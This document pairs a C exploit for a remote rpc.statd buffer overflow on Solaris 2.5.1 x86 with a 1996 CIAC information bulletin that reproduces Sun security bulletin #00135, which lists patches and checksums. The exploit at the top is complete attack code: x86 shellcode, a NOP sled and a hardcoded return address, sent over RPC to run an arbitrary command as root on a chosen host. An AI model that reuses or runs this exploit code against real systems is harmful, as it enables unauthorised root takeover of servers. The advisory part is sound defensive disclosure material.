--/* statd remote overflow, solaris 2.5.1 x86 there is a patch for statd in solaris 2.5, well, it looks like they check only for '/' characters and they left overflow there .. nah, it's solaris
usage: ./r host [cmd] # default cmd is "touch /tmp/blahblah" # remember that statd is standalone daemon
Please do not distribute. */
#include <sys/types.h> #include <sys/time.h> #include <stdio.h> #include <string.h> #include <netdb.h> #include <rpc/rpc.h> #include <rpcsvc/sm_inter.h> #include <sys/socket.h>
#define BUFSIZE 1024 #define ADDRS 2+1+1+4 #define ADDRP 0x8045570;
/* up to ~ 150 characters, there must be three strings */ char *cmd[3]={"/bin/sh", "-c", "touch /tmp/blahblah"};
char asmcode[]="\xeb\x3c\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\xf7\x83\xc7\x10\x89\x3e\x4f\x47\xfe\x07\x75\xfb\x47\x89\x7e\x04\x4f\x47\xfe\x07\x75\xfb\x47\x89\x7e\x08\x4f\x47\xfe\x07\x75\xfb\x89\x46\x0c\x50\x56\xff\x36\xb0\x3b\x50\x90\x9a\x01\x01\x01\x0
1\x07\x07\xe8\xbf\xff\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02"; char nop[]="\x90";
char code[4096];
void usage(char *s) { printf("Usage: %s host [cmd]\n", s); exit(0); }
main(int argc, char *argv[]) { CLIENT *cl; enum clnt_stat stat; struct timeval tm; struct mon monreq; struct sm_stat_res monres; struct hostent *hp; struct sockaddr_in target; int sd, i, noplen=strlen(nop); char *ptr=code;
if (argc < 2) usage(argv[0]); if (argc == 3) cmd[2]=argv[2];
for (i=0; i< sizeof(code); i++) *ptr++=nop[i % noplen];
strcpy(&code[750], asmcode); /* XXX temp. */ ptr=code+strlen(code); for (i=0; i<=strlen(cmd[0]); i++) *ptr++=cmd[0][i]-1; for (i=0; i<=strlen(cmd[1]); i++) *ptr++=cmd[1][i]-1; for (i=0; i<=strlen(cmd[2]); i++) *ptr++=cmd[2][i]-1; ptr=code+BUFSIZE-(ADDRS<<2); for (i=0; i<ADDRS; i++, ptr+=4) *(int *)ptr=ADDRP; *ptr=0;
printf("strlen = %d\n", strlen(code));
memset(&monreq, 0, sizeof(monreq)); monreq.mon_id.my_id.my_name="localhost"; monreq.mon_id.my_id.my_prog=0; monreq.mon_id.my_id.my_vers=0; monreq.mon_id.my_id.my_proc=0; monreq.mon_id.mon_name=code;
if ((hp=gethostbyname(argv[1])) == NULL) { printf("Can't resolve %s\n", argv[1]); exit(0); } target.sin_family=AF_INET; target.sin_addr.s_addr=*(u_long *)hp->h_addr; target.sin_port=0; /* ask portmap */ sd=RPC_ANYSOCK;
tm.tv_sec=10; tm.tv_usec=0; if ((cl=clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) { clnt_pcreateerror("clnt_create"); exit(0); } stat=clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res, (char *)&monres, tm); if (stat != RPC_SUCCESS) clnt_perror(cl, "clnt_call"); else printf("stat_res = %d.\n", monres.res_stat); clnt_destroy(cl); }
----------------------------------------------------------------------------------
__________________________________________________________
The U.S. Department of Energy Computer Incident Advisory Capability ___ __ __ _ ___ / | /_\ / \___ __|__ / \ \___ __________________________________________________________
INFORMATION BULLETIN
SUN statd Program Vulnerability
May 21, 1996 21:00 GMT Number G-25 ______________________________________________________________________________ PROBLEM: rpc.statd fails to completely validate the information it receives from rpc.lockd. PLATFORM: Solaris 2.x (SunOS 5.x) and Solaris 1.x (SunOS 4.1.x). DAMAGE: A user can potentially remove and create files with root privileges. SOLUTION: Install the proper patches described below. ______________________________________________________________________________ VULNERABILITY No exploitations of this vulnerability has been reported. But, ASSESSMENT: if it is exploited, a user can potentially remove or create any file that the root user can create. ______________________________________________________________________________
CIAC has obtained information from Sun Microsystems pertaining to the statd program vulnerability. This vulnerability has been previously addressed in the CIAC G-22: rpc.statd Vulnerability Bulletin, issued on 22 Apr 96. CIAC recommends that you install the proper patches described below.
[ Start of SUN Bulletin ]
============================================================================ SUN MICROSYSTEMS SECURITY BULLETIN: #00135, 21 May 1996 ============================================================================
BULLETIN TOPICS
In this bulletin Sun announces the release of security-related patches for both Solaris 2.x (SunOS 5.x) and Solaris 1.x (SunOS 4.1.x). The patches relate to a single vulnerability involving the statd program.
This vulnerability, which affects the products of several UNIX vendors, has previously been discussed in CERT (sm) Advisory CA-96.09, issued on 24 Apr 96. As of this writing, Sun is aware of no successful attacks based on this problem.
I. Who is Affected, and What to Do
II. Understanding the Vulnerability
III. List of Patches
IV. Checksum Table
APPENDICES
A. How to obtain Sun security patches
B. How to report or inquire about Sun security problems
C. How to obtain Sun security bulletins or short status updates
Send Replies or Inquiries To:
Mark Graff Sun Security Coordinator MS MPK17-103 2550 Garcia Avenue Mountain View, CA 94043-1100
Phone: 415-786-5274 Fax: 415-786-7994 E-mail: security-alert@Sun.COM
Sun acknowledges with thanks both the CERT Coordination Center (Carnegie Mellon University) and Wolfgang Ley (of DFN/CERT) for their assistance in the preparation of this bulletin.
Sun, CERT, and DFN/CERT are all members of FIRST, the Forum of Incident Response and Security Teams. For more information about FIRST, visit the FIRST web site at "http://www.first.org/". For information about the upcoming 8th FIRST Conference and Workshop (Santa Clara, CA, July 28-31, 1996) see "http://ciac.llnl.gov/firstconf".
Keywords: statd, root, file_creation, file_deletion Patchlist: 100988-05, 101592-07, 102516-04, 102769-03, 102770-03, 102932-02, 103468-01, 103469-01 Cross-Ref: CERT CA-96.09
-----------
Permission is granted for the redistribution of this Bulletin for the purpose of alerting Sun customers to problems, as long as the Bulletin is not edited and is attributed to Sun Microsystems.
Any other use of this information without the express written consent of Sun Microsystems is prohibited. Sun Microsystems expressly disclaims all liability for any misuse of this information by any third party.
============================================================================ SUN MICROSYSTEMS SECURITY BULLETIN: #00135, 21 May 1996 ============================================================================
I. Who is Affected, and What to Do
Sun has verified that this vulnerability affects all supported Solaris 2.x (SunOS 5.x) and Solaris 1.x (SunOS 4.1.x) systems.
Installing and running the software provided in these patches completely closes the vulnerability.
For information about how to obtain these and other Sun patches, see Appendix A.
II. Understanding the Vulnerability
If exploited, this vulnerability can be used to remove any file that the root user can remove or to create any file that the root user can create. The security of a system could be completely compromised in this way.
The following information, excerpted from the cited CERT(sm) advisory, provides some details. (Note: statd is called "rpc.statd" on many other UNIX systems.)
When an NFS server reboots, rpc.statd causes the previously held locks to be recovered by notifying the NFS client lock daemons to resubmit previously granted lock requests. If a lock daemon fails to secure a previously granted lock on the NFS server, it sends SIGLOST to the process that originally requested the file lock.
The vulnerability in rpc.statd is its lack of validation of the information it receives from what is presumed to be the remote rpc.lockd. Because rpc.statd normally runs as root and because it does not validate this information, rpc.statd can be made to remove or create any file that the root user can remove or create on the NFS server.
III. List of Patches
The patches required to close this vulnerability are listed below.
A. Solaris 2.x (SunOS 5.x) patches
Patches which replace the affected statd executable are available for every supported version of SunOS 5.x.
OS version Patch ID ---------- --------- SunOS 5.3 102932-02 SunOS 5.4 102769-03 SunOS 5.4_X86 102770-03 SunOS 5.5 103468-01 SunOS 5.5_X86 103469-01
B. Solaris 1.x (SunOS 4.1.x) patches
For SunOS 4.1.x, the fix is supplied in a new version of the "UFS file system and NFS locking" jumbo patch.
OS version Patch ID ---------- --------- 4.1.3 100988-05 SunOS 4.1.3_U1 101592-07 SunOS 4.1.4 102516-04
IV. Checksum Table
In the checksum table we show the BSD and SVR4 checksums and MD5 digital signatures for the compressed tar archives.
File BSD SVR4 MD5 Name Checksum Checksum Digital Signature --------------- ----------- --------- -------------------------------- 100988-05.tar.Z 10148 444 4116 888 ACE925E808A582D6CF9209FE7A51D23B 101592-07.tar.Z 21219 346 32757 692 7B7EE4BD5B2692249FDB9178746AA71B 102516-04.tar.Z 65418 201 61604 401 DB87F3DDA2F12FE2CFBB8B56874A1756 102769-03.tar.Z 38936 74 64202 148 9A8E4D9BE8C58FD532EE0E2140EF7F85 102770-03.tar.Z 04518 71 23051 141 F646E2B7AD66EEFBB32F6AB630796AF8 102932-02.tar.Z 34664 70 45816 139 66CB7F6AE48784A884BA658186268C41 103468-01.tar.Z 30917 82 46790 164 84680D9A0D2AEF62FFE1382C82684BE5 103469-01.tar.Z 31245 82 52288 164 F22AEB0FD91687DAB8ADC4DF10348DE8
The checksums shown above are from the BSD-based checksum (on 4.1.x, /bin/sum; on SunOS 5.x, /usr/ucb/sum) and from the SVR4 version on on SunOS 5.x (/usr/bin/sum).
APPENDICES
A. How to obtain Sun security patches
1. If you have a support contract
Customers with Sun support contracts can obtain any patches listed in this bulletin (and any other patches--and a list of patches) from:
- SunSolve Online - Local Sun answer centers, worldwide - SunSITEs worldwide
The patches are available via World Wide Web at http://sunsolve1.sun.com.
You should also contact your answer center if you have a support contract and:
- You need assistance in installing a patch - You need additional patches - You want an existing patch ported to another platform - You believe you have encountered a bug in a Sun patch - You want to know if a patch exists, or when one will be ready
2. If you do not have a support contract
Customers without support contracts may now obtain security patches, "recommended" patches, and patch lists via SunSolve Online.
Sun does not furnish patches to any external distribution sites other than the ones mentioned here. The ftp.uu.net and ftp.eu.net sites are no longer supported.
3. About the checksums
So that you can quickly verify the integrity of the patch files themselves, we supply in each bulletin checksums for the tar archives.
Occasionally, you may find that the listed checksums do not match the patches on the SunSolve or SunSite database. This does not necessarily mean that the patch has been tampered with. More likely, a non-substantive change (such as a revision to the README file) has altered the checksum of the tar file. The SunSolve patch database is refreshed nightly, and will sometimes contain versions of a patch newer than the one on which the checksums were based.
In the future we may provide checksum information for the individual components of a patch as well as the compressed archive file. This would allow customers to determine, if need be, which file(s) have been changed since we issued the bulletin containing the checksums.
In the meantime, if you would like assistance in verifying the integrity of a patch file please contact this office or your local answer center.
B. How to report or inquire about Sun security problems
If you discover a security problem with Sun software or wish to inquire about a possible problem, contact one or more of the following:
- Your local Sun answer centers - Your representative computer security response team, such as CERT - This office. Address postal mail to:
Sun Security Coordinator MS MPK17-103 2550 Garcia Avenue Mountain View, CA 94043-1100
Phone: 415-786-5274 Fax: 415-786-7994 E-mail: security-alert@Sun.COM
We strongly recommend that you report problems to your local Answer Center. In some cases they will accept a report of a security bug even if you do not have a support contract. An additional notification to the security-alert alias is suggested but should not be used as your primary vehicle for reporting a bug.
C. How to obtain Sun security bulletins or short status updates
1.. Subscription information
Sun Security Bulletins are available free of charge as part of our Customer Warning System. It is not necessary to have a Sun support contract in order to receive them.
To receive information or to subscribe or unsubscribe from our mailing list, send mail to security-alert@sun.com with a subject line containing one of the following commands.
Subject Information Returned/Action Taken ------- ---------------------------------
HELP An explanation of how to get information
LIST A list of current security topics
QUERY [topic] The mail containing the question is relayed to a Security Coordinator for a response.
REPORT [topic] The mail containing the text is treated as a security bug report and forwarded to a Security Coordinator for handling. Please note that this channel of communications does not supersede the use of Sun Solution Centers for this purpose. Note also that we do not recommend that detailed problem descriptions be sent in plain text.
SEND topic Summary of the status of selected topic. (To retrieve a Sun Security Bulletin, supply the number of the bulletin, as in "SEND #103".)
SUBSCRIBE Sender is added to the CWS (Customer Warning System) list. The subscribe feature requires that the sender include on the subject line the word "cws" and the reply email address. So the subject line might look like the following:
SUBSCRIBE cws graff@sun.com
UNSUBSCRIBE Sender is removed from the CWS list.
Should your email not fit into one of the above subjects, a help message will be returned to you.
Due to the volume of subscription requests we receive, we cannot guarantee to acknowledge requests. Please contact this office if you wish to verify that your subscription request was received, or if you would like your bulletin delivered via postal mail or fax.
2. Obtaining old bulletins
Sun Security Bulletins are available via the security-alert alias and on SunSolve. Please try these sources first before contacting this office for old bulletins.
------------
[ End of SUN Bulletin ]
_______________________________________________________________________________
CIAC wishes to acknowledge the contributions of Sun Microsystems for the information contained in this bulletin. _______________________________________________________________________________
CIAC, the Computer Incident Advisory Capability, is the computer security incident response team for the U.S. Department of Energy (DOE) and the emergency backup response team for the National Institutes of Health (NIH). CIAC is located at the Lawrence Livermore National Laboratory in Livermore, California. CIAC is also a founding member of FIRST, the Forum of Incident Response and Security Teams, a global organization established to foster cooperation and coordination among computer security teams worldwide.
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LAST 10 CIAC BULLETINS ISSUED (Previous bulletins available from CIAC)
G-15: Sunsoft Demo CD Vulnerability G-16: SGI rpc.statd Program Security Vulnerabilities G-17: Vulnerabilities in Sample HTTPD CGIs G-18: Digital OSF/1 dxconsole Security Vulnerability G-19: IBM AIX rmail Vulnerability G-20: Vulnerability in NCSA and Apache httpd Servers G-21: Vulnerabilities in PCNFSD Program G-22: rpc.statd Vulnerability G-23: Solaris NIS+ Configuration Vulnerability G-24: FreeBSD Security Vulnerabilities
RECENT CIAC NOTES ISSUED (Previous Notes available from CIAC)
Notes 07 - 3/29/95 A comprehensive review of SATAN
Notes 08 - 4/4/95 A Courtney update
Notes 09 - 4/24/95 More on the "Good Times" virus urban legend
Notes 10 - 6/16/95 PKZ300B Trojan, Logdaemon/FreeBSD, vulnerability in S/Key, EBOLA Virus Hoax, and Caibua Virus
Notes 11 - 7/31/95 Virus Update, Hats Off to Administrators, America On-Line Virus Scare, SPI 3.2.2 Released, The Die_Hard Virus
Notes 12 - 9/12/95 Securely configuring Public Telnet Services, X Windows, beta release of Merlin, Microsoft Word Macro Viruses, Allegations of Inappropriate Data Collection in Win95
Notes 96-01 - 3/18/96 Java and JavaScript Vulnerabilities, FIRST Conference Announcement, Security and Web Search Engines, Microsoft Word Macro Virus Update
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